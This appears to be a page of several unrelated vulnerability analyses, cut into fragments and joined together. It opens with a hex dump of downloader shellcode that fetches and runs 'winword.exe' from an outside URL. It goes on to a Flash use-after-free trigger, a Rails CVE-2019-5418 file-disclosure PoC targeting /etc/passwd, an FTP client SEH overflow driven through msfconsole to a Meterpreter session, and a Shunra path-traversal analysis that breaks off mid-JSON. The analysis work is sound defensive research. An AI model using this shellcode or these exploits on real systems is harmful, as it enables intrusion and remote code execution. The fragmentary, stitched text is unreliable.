1539bdf8 08080808 08080808 08080808 08080808 …………….
1539be08 08080808 08080808 08080808 08080808 …………….
1539be18 08080808 bcae6aeb 11c82761 0b6c2758 …..j..a’..X’l.
1539be28 67fe275e c9f22759 0000275c 0c000000 ^‘.gY’..\‘……
1539be38 30000000 00400000 0c000000 ea460000 …0..@…….F.
1539be48 0da42759 a0002759 00852762 a010275e Y’..Y’..b’..^‘..
1539be58 60122762 88792759 cfe7275b 0000275d b’.Y'y.['..]'.. 1539be68 00240000 00000000 60120000 01b82759 ..$........Y’..
1539be78 0000275e 92a20000 92672759 90902758 ^‘……Y’g.X’..
1539be88 7feb9090 41414141 41414141 41414141 ….AAAAAAAAAAAA
1539be98 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
1539bea8 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
1539beb8 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
1539bec8 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
1539bed8 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
1539bee8 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
1539bef8 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
1539bf08 90909024 ffffe890 5ac0ffff 505379eb \(..........Z.ySP 1539bf18 56f38957 8b3c738b 01781e74 768b56de W..V.s<.t.x..V.v 1539bf28 31de0120 ad4149c9 3156d801 10be0ff6 ..1.IA...V1.... 1539bf38 0874d638 0107cec1 f1eb40d6 755e3739 8.t......@..97^u 1539bf48 dd895ae5 01245a8b 0c8b66eb 1c5a8b4b .Z...Z\)..f..K.Z.
1539bf58 048beb01 abe8018b c7835f5e c35b5804 ……..^_…X[.
1539bf68 74e83880 e938800f 38800a74 800574cc .8.t..8.t..8.t..
1539bf78 1175eb38 90057881 74909090 55ff8908 8.u..x…..t…U
1539bf88 408de589 31e0ff05 408b64c0 0c408b30 …@…1.d.@0.@.
1539bf98 8b1c408b 788b0870 66008b20 00187f83 .@..p..x ..f….
1539bfa8 ec81f175 00000000 07c7e789 0c917432 u………..2t..
1539bfb8 390447c7 c7837de2 89630847 47c74fd1 .G.9.}..G.c..O.G
1539bfc8 afd6800c 1047c79a 213bcb58 8958036a ……G.X.;!j.X.
1539bfd8 505789fb ffff35e8 f87548ff 6c68df89 ..WP.5…Hu…hl
1539bfe8 6800006c 642e6e6f 6c727568 078b546d l..hon.dhurlmT..
1539bff8 ffff6be8 83c689ff 0fe80cc7 89ffffff .k…………..
1539c008 6c6468df 6c68006c 682e3233 6c656873 .hdll.hl32.hshel
1539c018 e8078b54 ffffff48 c783c689 feece810 T…H………..
1539c028 df89ffff 0550478b 0000019e 89fbc083 …..GP………
1539c038 c6895847 3846c931 4efb750e 752f3e80 GX..1.F8.u.N.>/u
1539c048 778946fa 50778b5c 01bfc681 c6830000 .F.w.wP……..
1539c058 60778920 00806856 478b0000 fefee804 .wVh.....G.... 1539c068 8d57ffff 778b061c a4df895c 00ff7f80 ..W....w\....... 1539c078 315ff975 ff5151c9 77ff6077 478b5158 u._1.QQ.w.wXQ.G
1539c088 fedae80c c931ffff ff515151 51516077 ……1.QQQ.w`QQ
1539c098 e810478b fffffec8 8b50c031 bde80847 .G……1.P.G…
1539c0a8 68fffffe 3a707474 796d2f2f 74616c66 …http://myflat
1539c0b8 2e74656e 2f6d6f63 63757262 2f335f65 net.com/bruce_3/
1539c0c8 776e6977 2e64726f 00657865 cccccccc winword.exe…..

The ActiveX control used for the spray:

Possible spray:
HKEY_CLASSES_ROOT\CLSID{1EFB6596-857C-11D1-B16A-00C0F0283628}
Microsoft TabStrip Control, version 6.0
C:\WINDOWS\system32\MSCOMCTL.OCX
ProgID: MSComctlLib.TabStrip.2
VersionIndependentprogID: MSComctlLib.TabStrip

0:000> r
eax=00001000 ebx=06ac3f90 ecx=000001d4 edx=04f7b600 esi=0012026c edi=1539beb0
eip=77535f87 esp=0011f658 ebp=0011f698 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
ole32!CoGetStandardMarshal+0x17b3:
77535f87 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]

ChildEBP RetAddr
WARNING: Stack unwind information not available. Following frames may be wrong.
0011f698 77535f10 ole32!CoGetStandardMarshal+0x17b3
0011f6bc 77536f9a ole32!CoGetStandardMarshal+0x173c
0011f8b8 77536db7 ole32!CoGetStandardMarshal+0x27c6
0011f8f0 77536a40 ole32!CoGetStandardMarshal+0x25e3
0011f90c 77536c33 ole32!CoGetStandardMarshal+0x226c
0011f930 77536b2f ole32!CoGetStandardMarshal+0x245f
0011f980 39c98198 ole32!CoGetStandardMarshal+0x235b
001209c0 39c9959e mso!Ordinal4410+0x336
001209e0 77543ba1 mso!Ordinal4410+0x173c
00120a10 31dc38ed ole32!OleSave+0x52
00120a60 31dc35ab wwlib!DllGetLCID+0x4e7877
00120aa4 321bbb25 wwlib!DllGetLCID+0x4e7535
00120b8c 321bc223 wwlib!wdGetApplicationObject+0x4c587
00120ba0 321bc330 wwlib!wdGetApplicationObject+0x4cc85
00120de8 0fa09d3a wwlib!wdGetApplicationObject+0x4cd92
00120e28 0f9e3fbf VBE7!rtcStrConvVar+0x960a
00120e5c 0f9e53ac VBE7!rtUI1FromErrVar+0x4515
00120eec 321bcf43 VBE7!rtUI1FromErrVar+0x5902
00120fb0 321bd18e wwlib!wdGetApplicationObject+0x4d9a5
00120fd8 31be95dc wwlib!wdGetApplicationObject+0x4dbf0
”`

1
Technical Analysis

.text:7625B0F2
.text:7625B0F2 loc_7625B0F2: ; CODE XREF: _MemAllocClear(x)+25j
.text:7625B0F2 ; _MemAllocClear(x)+33j …
.text:7625B0F2 push [ebp+dwBytes] ; dwBytes
.text:7625B0F5 push 8 ; dwFlags
.text:7625B0F7 push _g_hProcessHeap ; hHeap
.text:7625B0FD call ds:impHeapAlloc@12 ; HeapAlloc(x,x,x)
.text:7625B103
.text:7625B103 loc_7625B103: ; CODE XREF: _MemAllocClear(x)+71j
.text:7625B103 pop edi
.text:7625B104 pop ebx
.text:7625B105 leave
.text:7625B106 retn 4
.text:7625B106 __MemAllocClear@4 endp
.text:7625B106
”`

1
Technical Analysis

http://en.wikipedia.org/wiki/Adobe_Flash_Player

Congrats! You are reading about the most beautiful Flash bug for the last four
years since CVE-2010-2161.

The use-after-free vulnerability exists inside the built-in ByteArray class
http://help.adobe.com/en_US/FlashPlatform/reference/actionscript/3/flash/utils/ByteArray.html

Let’s create a simple ByteArray object:

var ba:ByteArray = new ByteArray();
ba.length = 8;
ba[1] = 1;

Now we can access ba[] items and write numeric byte values into ba[].
Also we are allowed to write objects into ByteArray. For example:

var obj = new MyClass();
ba[0] = obj;

AS3 will try to implicitly convert the MyClass object into numeric value by
calling the MyClass.valueOf() method. This method can be easily redefined
within the user’s code:

class MyClass
{
    prototype.valueOf = function()
    {
        ba.length = 88; // reallocate ba[] storage
        return 0;       // return byte for ba[offset]
    }
}

Let’s see how that implicit conversion occurs inside the native code:

push esi
mov  eax, [esp+8]                // the offset value from "ba[offset] = obj"
push eax
add  ecx, 0x18                   // ecx = this = "ba" object pointer
call ByteArray.getStorage()      // gets ba[offset] storage pointer and
mov  esi, eax                    // saves it in esi

mov  ecx, [esp+0xC]              // "obj" pointer
push ecx
call AvmCore.toInteger()         // call MyClass.valueOf()
add  esp,4
mov  [esi], al                   // writes returned byte into array

pop  esi
ret  8

On high-level language this will look like:

void ByteArray.setObjInternal(int offset, obj)
{
    byte* dest = this.getStorage(offset);
    dest* = toInteger(obj);
}

So the array storage pointer is saved in local variable, then AS3 valueOf() is
invoked from the native code and returned byte is written into destination
pointer at the end. If valueOf() changes the length of byte array (see above)
and reallocates its internal storage, then local destination pointer becomes
obsolete and further usage of that pointer can lead to UaF memory corruption.

Using this vulnerability, it’s very easy to control what byte will be written
and at which offset this corruption will occur.

  1. AFFECTED SOFTWARE
    Adobe Flash Player 9 and higher

  2. TESTING
    Open the test “calc.htm” file in your browser and press the button.

on Windows:
Calc.exe should be popped on desktop IE.
Calc.exe should be run as a non-GUI child process in metro IE.
Payload returns 0 from CreateProcessA(“calc.exe”) inside Chrome/FF sandbox.

on OS X:
Calculator is launched in FF or standalone Flash Player projector.
Payload returns 1 from vfork() in Safari sandbox.

1
Technical Analysis

Details

Install

MySQL-client-community-5.1.66-1.rhel4.i386.rpm MySQL-shared-community-5.1.66-1.rhel4.i386.rpm
MySQL-server-community-5.1.66-1.rhel4.i386.rpm

Packages available here: http://downloads.skysql.com/archive/index/p/mysql/v/5.1.66

On a fresh CentOS install (minimal) mysql-libs are installed, it and its dependencies should be deleted with rpm -e (all at the same time).

Once installed add a user:

mysql> CREATE USER 'juan'@'%' IDENTIFIED BY 'mypass';
Query OK, 0 rows affected (0.00 sec)

And grant privileges:

mysql> GRANT ALL PRIVILEGES ON *.* TO 'juan'@'%';
Query OK, 0 rows affected (0.00 sec)
mysql> FLUSH PRIVILEGES;
Query OK, 0 rows affected (0.00 sec)

Ready to test…

Start through mysqld_safe:

[root@localhost mysql]# /usr/bin/mysqld_safe --user=mysql
130712 07:23:38 mysqld_safe Logging to '/var/lib/mysql/localhost.localdomain.err'.
130712 07:23:38 mysqld_safe Starting mysqld daemon with databases from /var/lib/mysql
1
Technical Analysis

Background

Ruby on Rails is a server-side web application framework written in Ruby. It is a model-view-controller (MVC) archtecture, providing default structures for a database, a web service, and web pages. It is also a popular choice of framework among well known services and products such as Github, Bloomberg, Soudcloud, Groupon, Twitch.tv, and of course, Rapid7’s Metasploit.

Ruby on Rails versions including 5.2.2.1 and prior are vulnerable to directory traversal in Action View. More specifically, a specially crafted accept header in combination with calls to reander file: can cause arbitrary files on the target server to be rendered, disclosing the file contents.

In this documentation, I’ll go over:

  • The setup I used to test the vulnerable environment.
  • My analysis on the vulnerability. Including the basics on how Rails utilities rendering. Also, based on that knowledge, how the directory traversal happens.
  • Some information about patching.

Vulnerable Setup

In order to set up a vulnerable box for testing, do the following on a Linux (Ubuntu) machine, assuming rvm is already installed:

$ rvm gemset create test
$ rvm gemset use test
$ gem install rails '5.2.1'
$ rails new demo

Next, cd to demo, and then modify the Gemfile like this:

$ echo "gem 'rails', '5.2.1'" >> Gemfile
$ echo "gem 'sqlite3', '~> 1.3.6', '< 1.4'" >> Gemfile
$ echo "source 'https://rubygems.org'" >> Gemfile
$ bundle

Next, add a new controller:

rails generate controller metasploit

And add the index method for that controller (under app/controllers/metasploit_controller.rb):

class MetasploitController < ApplicationController
  def index
    render file: "#{Rails.root}/test.html"
  end
end

In the root directory, add a new test.html.

echo Hello World > test.html

Also, add that new route in config/routes.rb:

Rails.application.routes.draw do
  resources :metasploit
end

And finally, start the application:

rails s -b 0.0.0.0

Vulnerability Analysis

An advisory was already made available by the time the vulnerability was published. The first paragraph of that advisory pretty much explains the most important piece of the problem:

There is a possible file content disclosure vulnerability in Action View. Specially crafted accept headers in combination with calls to render file: can cause arbitrary files on the target server to be rendered, disclosing the file contents.

So knowing that about Action View, we want to examine the code to understand how rendering works for a file. To begin on a vulnerable machine, we can use the gem env command to locate the gems:

$ gem env
RubyGems Environment:
  - RUBYGEMS VERSION: 3.0.1
  - RUBY VERSION: 2.6.0 (2018-12-25 patchlevel 0) [x86_64-linux]
  - INSTALLATION DIRECTORY: /home/sinn3r/.rvm/gems/ruby-2.6.0
  - USER INSTALLATION DIRECTORY: /home/sinn3r/.gem/ruby/2.6.0
  - RUBY EXECUTABLE: /home/sinn3r/.rvm/rubies/ruby-2.6.0/bin/ruby
  - GIT EXECUTABLE: /usr/bin/git
  - EXECUTABLE DIRECTORY: /home/sinn3r/.rvm/gems/ruby-2.6.0/bin
  - SPEC CACHE DIRECTORY: /home/sinn3r/.gem/specs
  - SYSTEM CONFIGURATION DIRECTORY: /home/sinn3r/.rvm/rubies/ruby-2.6.0/etc
  - RUBYGEMS PLATFORMS:
    - ruby
    - x86_64-linux
  - GEM PATHS:
     - /home/sinn3r/.rvm/gems/ruby-2.6.0
     - /home/sinn3r/.rvm/rubies/ruby-2.6.0/lib/ruby/gems/2.6.0

... omitted below ...

The first path from GEM PATHS is what we want, which is where the Action View gem is saved:

/home/sinn3r/.rvm/gems/ruby-2.6.0/gems/actionview-5.2.1

Since the bug is related to rendering a file, the find command reveals the following files associated with rendering that we can investigate:

$ find . -name *render*
./lib/action_view/renderer
./lib/action_view/renderer/renderer.rb
./lib/action_view/renderer/partial_renderer
./lib/action_view/renderer/partial_renderer.rb
./lib/action_view/renderer/template_renderer.rb
./lib/action_view/renderer/abstract_renderer.rb
./lib/action_view/renderer/streaming_template_renderer.rb
./lib/action_view/rendering.rb
./lib/action_view/helpers/rendering_helper.rb

The Mechanics of Rails Rendering

It is easy to narrow down what we should be looking at, because there aren’t that many files using the :file key, which is what the advisory describes. I decided to start with rendering_helper.rb (the ActionView::Helpers::RenderingHelper module), which seems to be a mixin for rendering, and hopefully I can eventually find the buggy code that way.

Here’s the render method ActionView::Helpers::RenderingHelper, it’s great that there’s API documentation:

# Returns the result of a render that's dictated by the options hash. The primary options are:
#
# * <tt>:partial</tt> - See <tt>ActionView::PartialRenderer</tt>.
# * <tt>:file</tt> - Renders an explicit template file (this used to be the old default), add :locals to pass in those.
# * <tt>:inline</tt> - Renders an inline template similar to how it's done in the controller.
# * <tt>:plain</tt> - Renders the text passed in out. Setting the content
#   type as <tt>text/plain</tt>.
# * <tt>:html</tt> - Renders the HTML safe string passed in out, otherwise
#   performs HTML escape on the string first. Setting the content type as
#   <tt>text/html</tt>.
# * <tt>:body</tt> - Renders the text passed in, and inherits the content
#   type of <tt>text/plain</tt> from <tt>ActionDispatch::Response</tt>
#   object.
#
# If no options hash is passed or :update specified, the default is to render a partial and use the second parameter
# as the locals hash.
def render(options = {}, locals = {}, &block)
  case options
  when Hash
    if block_given?
      view_renderer.render_partial(self, options.merge(partial: options[:layout]), &block)
    else
      view_renderer.render(self, options)
    end
  else
    view_renderer.render_partial(self, partial: options, locals: locals, &block)
  end
end

Notice this is more like a wrapper that relies on view_renderer, which is an ActionView::Renderer object. OK, let’s take a look at that.

The ActionView::Renderer class

The ActionView::Renderer class starts off with its own documentation, which makes it easy to understand its purpose and usage:

This is the main entry point for rendering. It basically delegates to other objects like TemplateRenderer and PartialRenderer which actually renders the template.

The Renderer will parse the options from the render or render_body method and render a partial or a template based on the options. The TemplateRenderer and PartialRenderer objects are wrappers which do all the setup and logic necessary to render a view and a new object is created each time render is called.

Looking at that, we learn one of these three classes could be used: StreamingTemplateRenderer, TemplateRenderer, and PartialRenderer. It isn’t hard to figure out which one we should be looking at, because since the advisory says we are looking at a render function for :file, it is clear we should be looking at TemplateRenderer because only that one is checking the :file key.

The ActionView::TemplateRenderer Class

Inside the TemplateRenderer class, there is only one public method, which is the render method. When this is called, the method performs the following for our template:

template = determine_template(options)
prepend_formats(template.formats)
@lookup_context.rendered_format ||= (template.formats.first || formats.first)
render_template(template, options[:layout], options[:locals])

Inside determine_template is when our :file key is actually used for the first time:

elsif options.key?(:file)
  with_fallbacks { find_file(options[:file], nil, false, keys, @details) }

find_file is the first thing that gets called. To find this, a quick search in the file system with grep identifies two files that are associated with this name:

$ grep -iR "def " * |grep find_file
lib/action_view/lookup_context.rb:      def find_file(name, prefixes = [], partial = false, keys = [], options = {})
lib/action_view/path_set.rb:    def find_file(path, prefixes = [], *args)

After a bit of code reading, the functionality of find_file is seen in the lib/action_view/path_set.rb file:

def find_file(path, prefixes = [], *args)
  _find_all(path, prefixes, args, true).first || raise(MissingTemplate.new(self, path, prefixes, *args))
end

...

private

def _find_all(path, prefixes, args, outside_app)
  prefixes = [prefixes] if String === prefixes
  prefixes.each do |prefix|
    paths.each do |resolver|
      if outside_app
        templates = resolver.find_all_anywhere(path, prefix, *args)
      else
        templates = resolver.find_all(path, prefix, *args)
      end
      return templates unless templates.empty?
    end
  end
  []
end

The PathResolver Class

Notice in the above code, outside_app is hardcoded to true, so we want to be looking at find_all_anywhere. This method can be found in in the PathResolver class in lib/action_view/template/resolver.rb:

def find_all_anywhere(name, prefix, partial = false, details = {}, key = nil, locals = [])
  cached(key, [name, prefix, partial], details, locals) do
    find_templates(name, prefix, partial, details, true)
  end
end

Going down to that rabbit hole, let’s just keep reading what find_templates is doing:

def find_templates(name, prefix, partial, details, outside_app_allowed = false)
  path = Path.build(name, prefix, partial)
  query(path, details, details[:formats], outside_app_allowed)
end

def query(path, details, formats, outside_app_allowed)
  query = build_query(path, details)

  template_paths = find_template_paths(query)
  template_paths = reject_files_external_to_app(template_paths) unless outside_app_allowed

  template_paths.map do |template|
    handler, format, variant = extract_handler_and_format_and_variant(template)
    contents = File.binread(template)

    Template.new(contents, File.expand_path(template), handler,
      virtual_path: path.virtual,
      format: format,
      variant: variant,
      updated_at: mtime(template)
      )
  end
end

There are some interesting things about the query method. Although at first glance, you wouldn’t know exactly what those functions do, but Ruby is such an easy-to-read language, you still get an idea what this method is trying to do just by reading.

For example, this line implies it is for building some kind of query that is associated with a path. This line is actually extra important, which I will explain in a separate section later:

query = build_query(path, details)

In the next line, this seems to be loading template paths as the name implies:

template_paths = find_template_paths(query)

And then it passes those paths to this block of code:

template_paths.map do |template|
  handler, format, variant = extract_handler_and_format_and_variant(template)
  contents = File.binread(template)
  ...

Which clearly loads the content of the files indivisually. And then finally:

Template.new(contents, File.expand_path(template), handler,
  virtual_path: path.virtual,
  format: format,
  variant: variant,
  updated_at: mtime(template)
  )

This means the content gets converted into a Template object, and that is returned all the way to the determine_template function we were looking at originally:

template = determine_template(options)
prepend_formats(template.formats)
@lookup_context.rendered_format ||= (template.formats.first || formats.first)
render_template(template, options[:layout], options[:locals])

It looks like if the user is able to control the template name, then the query method will just load whatever you want, load the file, and pass it for rendering. Well, a normal Rails application probably would not want to let you load whatever you file, because that obviously would be too risky, but CVE-2019-5418 found its way.

From HTTP Header to Directory Traversal

Now that we have a basic understanding of the rendering mechanics, the next question is: How does a directroy traversal occur from an HTTP ACCEPT header? Typically that is not how a directory traversal attack would work against a web server, but for CVE-2019-5418, it is. The proof-of-concept demonstrates:

def get_accept_header_value(depth, file)
  return (('../'*depth) + file + '{{').gsub('//', '/')
end


res = send_request_cgi({
  'method' => 'GET',
  'uri' => normalize_uri(datastore['ROUTE']),
  'headers' => { 'Accept' => get_accept_header_value(datastore['DEPTH'], '/etc/passwd')}
  })

The reason our HTTP ACCEPT header ends up being loaded as a template is because the way the query method works. As you already know, this method’s main job is to load a file, and then convert that content into a Template object. Well, something funny happens in this method when it tries to call build_query:

def build_query(path, details)
  query = @pattern.dup

  prefix = path.prefix.empty? ? "" : "#{escape_entry(path.prefix)}\\1"
  query.gsub!(/:prefix(\/)?/, prefix)

  partial = escape_entry(path.partial? ? "_#{path.name}" : path.name)
  query.gsub!(/:action/, partial)

  details.each do |ext, candidates|
    if ext == :variants && candidates == :any
      query.gsub!(/:#{ext}/, "*")
    else
      query.gsub!(/:#{ext}/, "{#{candidates.compact.uniq.join(',')}}")
    end
  end

  File.expand_path(query, @path)
end

The @pattern variable holds this value as a string:

:prefix/:action{.:locale,}{.:formats,}{+:variants,}{.:handlers,}

The details argument is actually a hash that looks like the following. Notice the directory traversal string in the :formats key, which indicates where the HTTP ACCEPT header is stored:

{:locale=>[:en], :formats=>["../../../../../../../../../../etc/passwd{{"], :variants=>[], :handlers=>[:raw, :erb, :html, :builder, :ruby, :coffee, :jbuilder]}

Looking at the Ruby code, we know that it is just simply replacing specific parts of the string with the hash above. When it comes to the formats pattern, it is replaced with the ACCEPT header due to this line:

query.gsub!(/:#{ext}/, "{#{candidates.compact.uniq.join(',')}}")

After the modification, our string actually looks like this:

"home/sinn3r/demo/test.html{.{en},}{.{../../../../../../../../../../etc/passwd{{},}{+{},}{.{raw,erb,html,builder,ruby,coffee,jbuilder},}"

After the File.expand_path call, the query string is actually:

"/etc/passwd{{},}{+{},}{.{raw,erb,html,builder,ruby,coffee,jbuilder},}"

After this query is created, it is passed to the next method called fine_template_paths, which will actually normalize the query for us:

def find_template_paths(query)
  Dir[query].uniq.reject do |filename|
    File.directory?(filename) ||
      # deals with case-insensitive file systems.
    !File.fnmatch(query, filename, File::FNM_EXTGLOB)
  end

Using Pry (an interactive shell for Ruby), we can demonstrate this problem:

[7] pry(#<ActionView::FallbackFileSystemResolver>)> path = File.expand_path("home/sinn3r/demo/test.html{.{en},}{.{../../../../../../../../../../etc/passwd{{},}{+{},}{.{raw,erb,html,builder,ruby,coffee,jbuilder},}", @path)
=> "/etc/passwd{{},}{+{},}{.{raw,erb,html,builder,ruby,coffee,jbuilder},}"
[8] pry(#<ActionView::FallbackFileSystemResolver>)> find_template_paths(path)
=> ["/etc/passwd"]

After that point, the path will be used to create a Template object, and the application ends up loading something that it’s not supposed to load. That is our directory traversal bug.

Patching

The way CVE-2019-5418 is patched is quite simple. Instead of allowing any formats, Rails now only allows the registered MIME types, which makes sense because “registered” implies trusted:

v = v.select do |format|
  format.symbol || format.ref == "*/*"
end

However, I can’t help but feel the way the build_query method is written, and how it is used, is prone to problems. gsub is probably too much freedom on a string, especially that string is used as a file path.

1
Technical Analysis

-
[+] Processing arguments and criteria

- Pointer access level : X
- Pointer criteria : ['unicoderev']

[+] Generating module info table, hang on…

- Processing modules
- Done. Let's rock 'n roll.

[+] Querying 56 modules

- Querying module NMCP32.DLL

*** ERROR: Module load completed but symbols could not be loaded for C:\WINDOWS\system32\xpsp2res.dll

- Querying module urlmon.dll
- Querying module msxml3.dll
- Querying module CRYPT32.dll
- Querying module MSASN1.dll
- Querying module kernel32.dll
- Querying module msvcrt.dll
- Querying module GDI32.dll
- Querying module ntdll.dll
- Querying module nmcd32.dll
- Querying module wshtcpip.dll
- Querying module WS2_32.dll
- Querying module SENSAPI.DLL
- Querying module ATL.DLL
- Querying module CRYPTUI.dll
- Querying module WININET.dll
- Querying module CLBCATQ.DLL
- Querying module Secur32.dll
- Querying module WSOCK32.dll
- Querying module rsaenh.dll
- Querying module WS2HELP.dll
- Querying module ole32.dll
- Querying module SHLWAPI.dll
- Querying module hnetcfg.dll
- Querying module NMCH32.DLL
- Querying module USER32.dll
- Querying module comdlg32.dll
- Querying module IMAGEHLP.dll
- Querying module shdocvw.dll
- Querying module NMCLEN.DLL
- Querying module WINTRUST.dll
- Querying module COMRes.dll
- Querying module cscui.dll
- Querying module OLEAUT32.dll
- Querying module NETAPI32.dll
- Querying module SHELL32.dll
- Querying module RPCRT4.dll
- Querying module CSCDLL.dll
- Querying module mlang.dll
- Querying module NMCL32.exe
- Querying module USERENV.dll
- Querying module nmenv2.dll
- Querying module COMCTL32.dll
- Querying module MSCTF.dll
- Querying module WLDAP32.dll
- Querying module VERSION.dll
- Querying module mswsock.dll
- Querying module appHelp.dll
- Querying module browseui.dll
- Querying module NMCA32.DLL
- Querying module RichEd20.Dll
- Querying module UxTheme.dll
- Querying module ADVAPI32.dll
- Querying module LINKINFO.dll
- Querying module SETUPAPI.dll
- Querying module ntshrui.dll
- Search complete, processing results

[+] Preparing output file ‘jmp.txt’

- (Re)setting logfile jmp.txt

Done. Found 0 pointers
[+] This mona.py action took 0:02:13.578000
”`

  • On the other hand, I’ve installed the linux client, but it’s a Java software, so there isn’t memory corruption, just a message warning about the malformed file
1
Technical Analysis

This is plib_free__3()
0:001> g
Destination buffer for WS2_32!recv() is at: 0x0233f4f4

Now we have located the destination buffer, and we know that eventually this will overflow.
But we need to determine how this pointer is passed around.

If we manaully cross-reference what other functions are passing a buffer pointer to ```sub_4383C0()```,
you will notice there are too many stack buffer overflows. This took some time and breakpoints to figure
out, but the correct code path for the our vulnerability should be:

sub_42C890() –> sub_42EE10() –> sub_42EA00() –> sub_4383C0()

Inside ```sub_42C890()```, we find the stack buffer:

AUTO:0042C8FF loc_42C8FF: ; CODE XREF: sub_42C890+16Aj
AUTO:0042C8FF ; sub_42C890+1B5j
AUTO:0042C8FF push edi
AUTO:0042C900 mov ebx, 3FFh
AUTO:0042C905 lea edx, [esp+2424h+var_41C]
AUTO:0042C90C push 1
AUTO:0042C90E mov eax, ds:dword_465100
AUTO:0042C913 mov ecx, edi
AUTO:0042C915 call sub_42EE10

And var_41C is 1024 bytes:

-0000041C var_41C db 1024 dup(?)

Once we know where the stack buffer comes from, we can move on to how the exploit crashes ftp.exe.
We can observe this crash by setting up these breakpoints first to track the buffer pointer:

bp 0042c915 “.printf \“Passing static buffer pointer at 0x%08x\”, edx; .echo ;g”
bp 0042ea0c “.printf \“Destination buffer for receive is: 0x%08x\n\”, edx; .echo; g”
bp 0042eb73 “.printf \“EDX Text dump: %ma\n\”, edx; .echo; .echo; g”

The WinDBG output with the above breakpoints:

Passing static buffer pointer at 0x027ff4f4
Destination buffer for receive is: 0x027ff4f4
EDX Text dump: AAAAAAAAAAAAAAA …….. AAAAAAAAAAAAAAA (a very long string)

(d48.864): Access violation – code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000041 ebx=000003fe ecx=ffffdbfc edx=000003fe esi=027ffc02 edi=02800000
eip=0042cac5 esp=027fd4ec ebp=000023ee iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
ftp+0x2cac5:
0042cac5 8807 mov byte ptr [edi],al ds:0023:02800000=??

In this crash, ESI is the source input, which is filled with our malicious input:

0:001> dd esi
027ffc02 41414141 41414141 41414141 41414141
027ffc12 41414141 41414141 41414141 41414141
027ffc22 41414141 41414141 41414141 41414141
027ffc32 41414141 41414141 41414141 41414141
027ffc42 41414141 41414141 41414141 41414141
027ffc52 41414141 41414141 41414141 41414141
027ffc62 41414141 41414141 41414141 41414141
027ffc72 41414141 41414141 41414141 41414141

EDI would be the destination buffer used for this copy routine:

AUTO:0042CAC3 loc_42CAC3: ; CODE XREF: sub_42C890+249j
AUTO:0042CAC3 mov al, [esi] ; ESI is the malicious input
AUTO:0042CAC5 mov [edi], al ; EDI = our buffer, and AL is a byte from the malicious input
AUTO:0042CAC7 cmp al, 0 ; Check null byte
AUTO:0042CAC9 jz short loc_42CADB ; Done copying
AUTO:0042CACB mov al, [esi+1] ; The next byte
AUTO:0042CACE add esi, 2
AUTO:0042CAD1 mov [edi+1], al
AUTO:0042CAD4 add edi, 2
AUTO:0042CAD7 cmp al, 0
AUTO:0042CAD9 jnz short loc_42CAC3 ; Continue copying if string isn’t null

Since the exploit supplies a string that is long enough, the SEH chain on the stack is also
overwritten:

0:001> !exchain
027fff70: 41414141
Invalid exception stack at 41414141

The exploit simply overwrites the SEH chain to gain arbitrary code execution.


## Verification Steps

To test the exploit:

1. Install the application
2. Start `msfconsole`
3. Do: `use exploit/windows/ftp/labf_nfsaxe`
4. Set options and payload
5. Do: `exploit`
6. Connect to the FTP server using the FTP client
7. You should get a session like the following demonstration:

msf exploit(windows/ftp/labf_nfsaxe) > run

[] Started reverse TCP handler on 172.16.85.1:4444
[
] Please ask your target(s) to connect to 172.16.85.1:21
[] Server started.
msf exploit(windows/ftp/labf_nfsaxe) >
[
] 172.16.85.134 – connected.
[] 172.16.85.134 – Response: Sending 220 Welcome
[
] 172.16.85.134 – Request: AUTH GSSAPI
[] 172.16.85.134 – Response: sending 331 OK
[
] 172.16.85.134 – Request: ADAT TlRMTVNTUA==
[] 172.16.85.134 – Response: Sending 230 OK
[
] 172.16.85.134 – Request: USER Guest
[] 172.16.85.134 – Request: Sending the malicious response
[
] Sending stage (179779 bytes) to 172.16.85.134
[*] Meterpreter session 1 opened (172.16.85.1:4444 –> 172.16.85.134:49213) at 2018-01-09 22:38:33 -0600
”`

1
Technical Analysis

The specific flaw exists within the toServerObject function. The method does not properly sanitize the input to this function allowing for directory traversal. An attacker can leverage this vulnerability to write files under the context of SYSTEM and achieve remote code execution.

  • The URL to access the web service:
public static final String WS_NETWORKEDITOR_TO_SERVER_OBJECT_URI = "/savefile/{filename}";
  • The “toServerObject” web service API:
public ShunraClientResponse toServerObject(String s, UIObject uiobject)
    throws Exception
{
    try
    {
        return m_controller.toServerObject(uiobject, s);
    }
    catch(Exception exception)
    {
        exception.printStackTrace();
        m_logger.error(exception.getMessage(), exception);
        throw exception;
    }
}

Everything is delegated to :

private NetworkEditorController m_controller;

The NetworkEditorControllerImpl toServerObject:

public ShunraClientResponse toServerObject(UIObject uiobject, String s)
{
    m_logger.debug("toServerObject");
    FlowValidator flowvalidator = new FlowValidator();
    try
    {
        uiobject.fileName = s;
        ShunraClientResponse shunraclientresponse = new ShunraClientResponse();
        ErrorMessages errormessages = new ErrorMessages();
        if(uiobject.flows.size() == 0)
            errormessages.generalErrors.add("Currently there are no flows to download");
        else
            errormessages = flowvalidator.ValidateCollisionsBetweenFlows(uiobject.flows);
        if(errormessages.containsErrors())
        {
            shunraclientresponse.SetFailure(errormessages);
        } else
        {
            ObjectsConverter objectsconverter = new ObjectsConverter();
            FilesConverter filesconverter = new FilesConverter();
            NtxObjectRepresentation ntxobjectrepresentation = objectsconverter.ConvertFromUIObjectToMultiFlowNtx(uiobject);
            String s1 = filesconverter.ConvertFromObjectToFile(ntxobjectrepresentation);
            String s2 = storage.saveTemporaryForDownload(s, s1);
            shunraclientresponse.SetSuccess(s2);
        }
        return shunraclientresponse;
    }
    catch(Exception exception)
    {
        exception.printStackTrace();
    }
    return null;
}

Where “s” is the file path and is user controlled. By default files are saved to “c:\windows\temp\files” (win 2003 sp2).

The attacker controles “s” through the URL, with “..\” sequences is posible to directory traversa.

Unfortunately contents (s1) are JSON converted contents. Example valid JSON:

{
    "fileName": "ntxFile",
    "flows": [{
        "wanCloud": {
            "latency": {
                "latencyType": "Fixed",
                "latency": 75
            },
